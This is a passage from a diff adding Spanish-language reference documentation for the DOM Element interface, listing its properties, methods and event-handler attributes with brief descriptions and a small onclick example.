+   <td><code><a href="/es/DOM/element.lang" title="es/DOM/element.lang">lang</a></code></td>
+   <td>El lenguaje de los atributos, texto y contenidos del elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.lastChild" title="es/DOM/element.lastChild">lastChild</a></code></td>
+   <td>El último hijo directo del elemento, <code>null</code> si no hay.</td>
+   <td><code><a href="/es/DOM/Node" title="es/DOM/Node">Node</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.localName" title="es/DOM/element.localName">localName</a></code></td>
+   <td>La parte local del nombre cualificado del elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <th>Nombre</th>
+   <th>Descripción</th>
+   <th>Tipo</th>
+   <th>Disponibilidad</th>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.name" title="es/DOM/element.name">name</a></code></td>
+   <td>El nombre del elemento.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="En/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.namespaceURI" title="es/DOM/element.namespaceURI">namespaceURI</a></code></td>
+   <td>El URI del espacio de nombre de ese nodo, <code>null</code> si no está especificado.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="En/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.nextSibling" title="es/DOM/element.nextSibling">nextSibling</a></code></td>
+   <td>El nodo inmediatamente posterior al primero dado en el árbol, <code>null</code> si no hay.</td>
+   <td><code><a href="/es/DOM/Node" title="es/DOM/Node">Nudo</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.nodeName" title="es/DOM/element.nodeName">nodeName</a></code></td>
+   <td>El nombre del nodo de ese elemento.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="En/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.nodeType" title="es/DOM/element.nodeType">nodeType</a></code></td>
+   <td>Un número que representa el tipo del nodo. Lo mismo que <code>1</code> para los elementos DOM.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="En/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.nodeValue" title="es/DOM/element.nodeValue">nodeValue</a></code></td>
+   <td>El valor del nodo. Lo mismo que <code>null</code> para los elementos DOM.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="En/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.offsetHeight" title="es/DOM/element.offsetHeight">offsetHeight</a></code></td>
+   <td>El alto de un elemento, tal cual está escrito en la composición.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="En/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.offsetLeft" title="es/DOM/element.offsetLeft">offsetLeft</a></code></td>
+   <td>La distancia que hay desde el borde izquierdo del elemento al de su <code>offsetParent</code>.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="En/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.offsetParent" title="es/DOM/element.offsetParent">offsetParent</a></code></td>
+   <td>El elemento del cual todos los cálculos de distancia son actualmente computados.</td>
+   <td><code><a href="/es/DOM/element" title="es/DOM/element">Elemento</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.offsetTop" title="es/DOM/element.offsetTop">offsetTop</a></code></td>
+   <td>La distancia desde el borde superior del elemento hasta el de su <code>offsetParent</code>.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="En/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.offsetWidth" title="es/DOM/element.offsetWidth">offsetWidth</a></code></td>
+   <td>El ancho de un elemento, tal cual está escrito en la composición.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="En/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.ownerDocument" title="es/DOM/element.ownerDocument">ownerDocument</a></code></td>
+   <td>El documento en el cual está ese nodo, <code>null</code> si no hay.</td>
+   <td><code><a href="/es/DOM/document" title="es/DOM/document">Documento</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <th>Nombre</th>
+   <th>Descripción</th>
+   <th>Tipo</th>
+   <th>Disponibilidad</th>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.parentNode" title="es/DOM/element.parentNode">parentNode</a></code></td>
+   <td>El elemento original(padre) de ese nodo, <code>null</code> si no hay dentro del <a href="/es/DOM/document" title="es/DOM/document">documento de DOM</a>.</td>
+   <td><code><a href="/es/DOM/Node" title="es/DOM/Node">Nudo</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.prefix" title="es/DOM/element.prefix">prefix</a></code></td>
+   <td>El prefijo del espacio de nombre del nodo, <code>null</code> si no está especificado.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="En/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.previousSibling" title="es/DOM/element.previousSibling">previousSibling</a></code></td>
+   <td>El nodo inmediatamente anterior al primero dado en el árbol , <code>null</code> si no hay.</td>
+   <td><code><a href="/es/DOM/Node" title="es/DOM/Node">Nudo</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.scrollHeight" title="es/DOM/element.scrollHeight">scrollHeight</a></code></td>
+   <td>Muestra la altura de deslizamiento del elemento.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="En/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.scrollLeft" title="es/DOM/element.scrollLeft">scrollLeft</a></code></td>
+   <td>Obtiene/establece el offset de scroll izquierdo de un elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.scrollTop" title="es/DOM/element.scrollTop">scrollTop</a></code></td>
+   <td>Obtiene/establece el offset de scroll superior de un elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.scrollWidth" title="es/DOM/element.scrollWidth">scrollWidth</a></code></td>
+   <td>Muestra el ancho de deslizamiento de un elemento.</td>
+   <td><code><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/Es/DOM/Element.style" title="Es/DOM/Element.style">style</a></code></td>
+   <td>Un objeto representando las declaraciones de los atributos de estilo del elemento.</td>
+   <td><code><a href="/es/DOM/CSSStyleDeclaration" title="es/DOM/CSSStyleDeclaration">Estilo CSS</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a>, <a href="/es/XUL" title="es/XUL">XUL</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.tabIndex" title="es/DOM/element.tabIndex">tabIndex</a></code></td>
+   <td>Obtiene/establece la posición del elemento en el órden de tabulación.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/Number" title="En/Core_JavaScript_1.5_Reference/Global_Objects/Number">Número</a></code></td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.tagName" title="es/DOM/element.tagName">tagName</a></code></td>
+   <td>El nombre de la etiqueta para el elemento dado.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="En/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.textContent" title="es/DOM/element.textContent">textContent</a></code></td>
+   <td>Obtiene/establece los contenidos textuales de un elemento y todos sus descendentes.</td>
+   <td><code><a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="En/Core_JavaScript_1.5_Reference/Global_Objects/String">Secuencia</a></code></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">todos</a></small></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Nombre y Descripción</th>
+   <th>Devuelve</th>
+   <th>Disponible</th>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.addEventListener" title="es/DOM/element.addEventListener">addEventListener</a>( <a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="En/Core_JavaScript_1.5_Reference/Global_Objects/String">type</a>, <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global_Objects/Function">handler</a>, <a href="/en/JavaScript/Reference/Global_Objects/Boolean" title="en/JavaScript/Reference/Global_Objects/Boolean">bubble</a>)</code><br>
+    Registra un controlador de evento para un tipo de evento específico en un elemento.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM/event" title="es/DOM/event">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Node/appendChild" title="es/DOM/element.appendChild">appendChild</a>( <a href="/es/DOM/Node" title="es/DOM/Node">appendedNode</a> )</code><br>
+    Inserta un nodo así como el último nodo hijo de este elemento.</td>
+   <td><a href="/es/DOM/Node" title="es/DOM/Node">Node</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.blur" title="es/DOM/element.blur">blur</a>()</code><br>
+    Quita el foco del teclado del elemento actual.</td>
+   <td>-</td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a>, <a href="/es/XUL" title="es/XUL">XUL</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.click" title="es/DOM/element.click">click</a>()</code><br>
+    Simula un clic sobre el elemento actual.</td>
+   <td>-</td>
+   <td><small>para <a href="/es/HTML" title="es/HTML">HTML</a>, <a href="/es/XUL" title="es/XUL">XUL</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Node/cloneNode" title="es/DOM/element.cloneNode">cloneNode</a>( <a href="/en/JavaScript/Reference/Global_Objects/Boolean" title="en/JavaScript/Reference/Global_Objects/Boolean">deep</a>)</code><br>
+    Hace copia de un nudo, y opcionalmente, de todo sus contenidos</td>
+   <td><a href="/es/DOM/Node" title="es/DOM/Node">Node</a></td>
+   <td><small>para <a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/DOM/element.dispatchEvent" title="es/DOM/element.dispatchEvent">dispatchEvent</a>( <a href="/es/DOM/event" title="es/DOM/event">event</a> )</code><br>
+    Envía un evento a este nodo en el DOM.</td>
+   <td><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/getAttribute" title="es/DOM/element.getAttribute">getAttribute</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Devuelve el valor de un atributo nombrado desde el nodo actual.</td>
+   <td><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Object" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Object">Object</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/getAttributeNS" title="es/DOM/element.getAttributeNS">getAttributeNS</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Devuelve el valor del atributo con el nombre especificado, desde el nodo actual.</td>
+   <td><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Object" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Object">Object</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/getAttributeNode" title="es/DOM/element.getAttributeNode">getAttributeNode</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Devuelve la representación del nodo del atributo nombrado desde el nodo actual.</td>
+   <td><a href="/es/DOM/Attr" title="es/DOM/Attr">Attr</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/getAttributeNodeNS" title="es/DOM/element.getAttributeNodeNS">getAttributeNodeNS</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Devuelve la representación del nodo del atributo con el nombre especificado, desde el nodo actual.</td>
+   <td><a href="/es/DOM/Attr" title="es/DOM/Attr">Attr</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <th>Nombre y Descripción</th>
+   <th>Devuelve</th>
+   <th>Disponibilidad</th>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/getElementsByTagName" title="es/DOM/element.getElementsByTagName">getElementsByTagName</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Devuelve un conjunto de todos los elementos descendentes, de un nombre de etiqueta particular, desde el elemento actual.</td>
+   <td><a href="/es/DOM/NodeSet" title="es/DOM/NodeSet">NodeSet</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/getElementsByTagNameNS" title="es/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Devuelve un conjunto de todos los elementos descendentes, de un nombre de etiqueta y espacio particular, desde el elemento actual.</td>
+   <td><a href="/es/DOM/NodeSet" title="es/DOM/NodeSet">NodeSet</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/hasAttribute" title="es/DOM/element.hasAttribute">hasAttribute</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Verifica si el elemento tiene el atributo especificado o no.</td>
+   <td><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/hasAttributeNS" title="es/DOM/element.hasAttributeNS">hasAttributeNS</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Verifica si el elemento tiene el atributo especificado, en el nombre de espacio especificado o no.</td>
+   <td><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/hasAttributes" title="es/DOM/element.hasAttributes">hasAttributes</a>()</code><br>
+    Verifica si el elemento tiene o no algún atributo.</td>
+   <td><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Node/hasChildNodes" title="es/DOM/element.hasChildNodes">hasChildNodes</a>()</code><br>
+    Verifica si el elemento tiene nodos hijos o no.</td>
+   <td><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Boolean</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Node/insertarAntes" title="es/DOM/element.insertBefore">insertBefore</a>( <a href="/es/DOM/Node" title="es/DOM/Node">insertedNode</a>, <a href="/es/DOM/Node" title="es/DOM/Node">adjacentNode</a> )</code><br>
+    Inserta el primer nodo antes que el segundo, Nodo hijo en el DOM.</td>
+   <td><a href="/es/DOM/Node" title="es/DOM/Node">Node</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Node/normalize" title="es/DOM/element.normalize">normalize</a>()</code><br>
+    Limpia todos los nodos de texto debajo de este elemento (une lo adyacente, quita lo vacío).</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/removeAttribute" title="es/DOM/element.removeAttribute">removeAttribute</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Quita el atributo nombrado desde el nodo actual.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM" title="es/DOM">All</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/removeAttributeNS" title="es/DOM/element.removeAttributeNS">removeAttributeNS</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Quita el atributo con el nombre y nombre de espacio especificado desde el nodo actual.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <th>Nombre y Descripción</th>
+   <th>Devuelve</th>
+   <th>Disponibilidad</th>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/removeAttributeNode" title="es/DOM/element.removeAttributeNode">removeAttributeNode</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a> )</code><br>
+    Quita la representación del nodo del atributo nombrado desde el nodo actual.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Node/removeChild" title="es/DOM/element.removeChild">removeChild</a>( <a href="/es/DOM/Node" title="es/DOM/Node">removedNode</a> )</code><br>
+    Quita el nodo hijo desde el elemento actual.</td>
+   <td><a href="/es/DOM/Node" title="es/DOM/Node">Node</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/removeEventListener" title="es/DOM/element.removeEventListener">removeEventListener</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">type</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Function" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Function">handler</a> )</code><br>
+    Quita un oyente de evento desde el elemento.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM/event" title="es/DOM/event">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Node/replaceChild" title="es/DOM/element.replaceChild">replaceChild</a>( <a href="/es/DOM/Node" title="es/DOM/Node">insertedNode</a>, <a href="/es/DOM/Node" title="es/DOM/Node">replacedNode</a> )</code><br>
+    Reemplaza un nodo hijo en el elemento actual con otro.</td>
+   <td><a href="/es/DOM/Node" title="es/DOM/Node">Node</a></td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/scrollIntoView" title="es/DOM/element.scrollIntoView">scrollIntoView</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">alignWithTop</a> )</code><br>
+    Recorre la página hasta que el elemento se obtiene en la vista.</td>
+   <td>-</td>
+   <td><small><a href="/es/HTML" title="es/HTML">HTML</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/setAttribute" title="Es/DOM/Element.setAttribute">setAttribute</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Object" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Object">value</a> )</code><br>
+    Establece el valor de un atributo nombrado desde el nodo actual.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/setAttributeNS" title="es/DOM/element.setAttributeNS">setAttributeNS</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Object" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Object">value</a> )</code><br>
+    Establece el valor del atributo con el nombre y nombre de espacio especificado desde el nodo actual.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/setAttributeNode" title="es/DOM/element.setAttributeNode">setAttributeNode</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a>, <a href="/es/DOM/Attr" title="es/DOM/Attr">attrNode</a> )</code><br>
+    Establece la representación del nodo del atributo nombrado desde el nodo actual.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+  <tr>
+   <td><code><a href="/es/docs/Web/API/Element/setAttributeNodeNS" title="es/DOM/element.setAttributeNodeNS">setAttributeNodeNS</a>( <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">namespace</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/String" title="es/Core_JavaScript_1.5_Reference/Global_Objects/String">name</a>, <a href="/es/DOM/Attr" title="es/DOM/Attr">attrNode</a> )</code><br>
+    Establece la representación del nodo del atributo con el nombre y nombre de espacio especificado desde el nodo actual.</td>
+   <td>-</td>
+   <td><small><a href="/es/DOM" title="es/DOM">Todos</a></small></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Eventos" name="Eventos">Eventos</h3>
+
+<p>Son propiedades correspondientes a los atributos del evento "on" en HTML.</p>
+
+<p>A diferencia de los atributos correspondientes, los valores de esas propiedades son funciones (o cualquier otro objeto trabajando con la interfaz <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-EventListener">EventListener</a>) más bien que una cadena de carácteres. En efecto, asignar un atributo de evento en HTML crea una función envolvente alrededor del código especificado. Por ejemplo, el siguiente HTML:</p>
+
+<pre>&lt;div onclick="foo();"&gt;clic aquí!&lt;/div&gt;
+</pre>
+
+<p>Si <code>element</code> es una referencia a esta <code>div</code>, el valor de <code>element.onclick</code> será:</p>
+
+<pre>function onclick(event) {
+   foo();
+}
+</pre>
+
+<p>El objeto <a href="/es/DOM/event" title="es/DOM/event">event</a> es pasado al parámetro <code>event</code> de esta función envolvente.</p>
+
+<dl>
+ <dt><a href="/es/DOM/element.onblur" title="es/DOM/element.onblur">onblur</a> - (al quitar el foco)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>blur</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onchange" title="es/DOM/element.onchange">onchange</a> - (al modificar)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>change</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onclick" title="es/DOM/element.onclick">onclick</a> - (al hacer clic)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onclick</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.ondblclick" title="es/DOM/element.ondblclick">ondblclick</a> - (al hacer doble clic)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>ondblclick</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onfocus" title="es/DOM/element.onfocus">onfocus</a> - (al poner el foco)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onfocus</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onkeydown" title="es/DOM/element.onkeydown">onkeydown</a> - (al tener una tecla apretada)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onkeydown</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/DOM/element.onkeypress" title="es/DOM/element.onkeypress">onkeypress</a> - (al apretar una tecla)</dt>
+ <dd>Devuelve el código de manejo de evento para el evento <code>onkeypress</code>.</dd>
+</dl>
+
